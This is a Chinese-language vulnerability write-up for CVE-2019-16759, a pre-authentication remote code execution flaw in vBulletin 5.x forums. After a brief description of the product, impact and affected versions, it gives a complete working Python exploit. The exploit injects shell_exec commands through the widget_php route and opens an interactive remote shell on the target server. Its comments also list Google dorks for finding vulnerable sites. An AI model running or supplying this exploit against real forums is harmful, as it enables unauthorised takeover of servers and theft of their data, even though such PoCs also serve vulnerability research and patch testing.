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add CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit
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CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit.md
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CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit.md
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## 前言
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vBulletin 是一个商用的论坛程序,在全球拥有数万用户且增长速度很快。该论坛采用PHP Web语言及MySQL数据库的方式进行架构。《财富》 500强和Alexa排名前100万的公司网站大部分都在使用的一款互联网论坛程序。
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## 漏洞简介
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CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit ,无需预认证即可执行远程代码执行漏洞
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## 漏洞危害
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不需要在目标论坛上注册帐户,即可在运行vBulletin安装的服务器上执行shell命令
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## 影响范围
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### 产品
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> vBulletin 5.x
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### 版本
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> vBulletin v5(5.0.0到5.5.4)版本
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### 组件
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> vBulletin
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## 漏洞复现
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## POC
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```python
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#!/usr/bin/python
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#
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# vBulletin 5.x 0day pre-auth RCE exploit
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#
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# This should work on all versions from 5.0.0 till 5.5.4
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#
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# Google Dorks:
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# - site:*.vbulletin.net
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# - "Powered by vBulletin Version 5.5.4"
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import requests
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import sys
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if len(sys.argv) != 2:
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sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])
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params = {"routestring":"ajax/render/widget_php"}
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while True:
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try:
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cmd = raw_input("vBulletin$ ")
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params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
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r = requests.post(url = sys.argv[1], data = params)
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if r.status_code == 200:
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print r.text
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else:
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sys.exit("Exploit failed! :(")
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except KeyboardInterrupt:
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sys.exit("\nClosing shell...")
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except Exception, e:
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sys.exit(str(e))
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```
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### 复现截图
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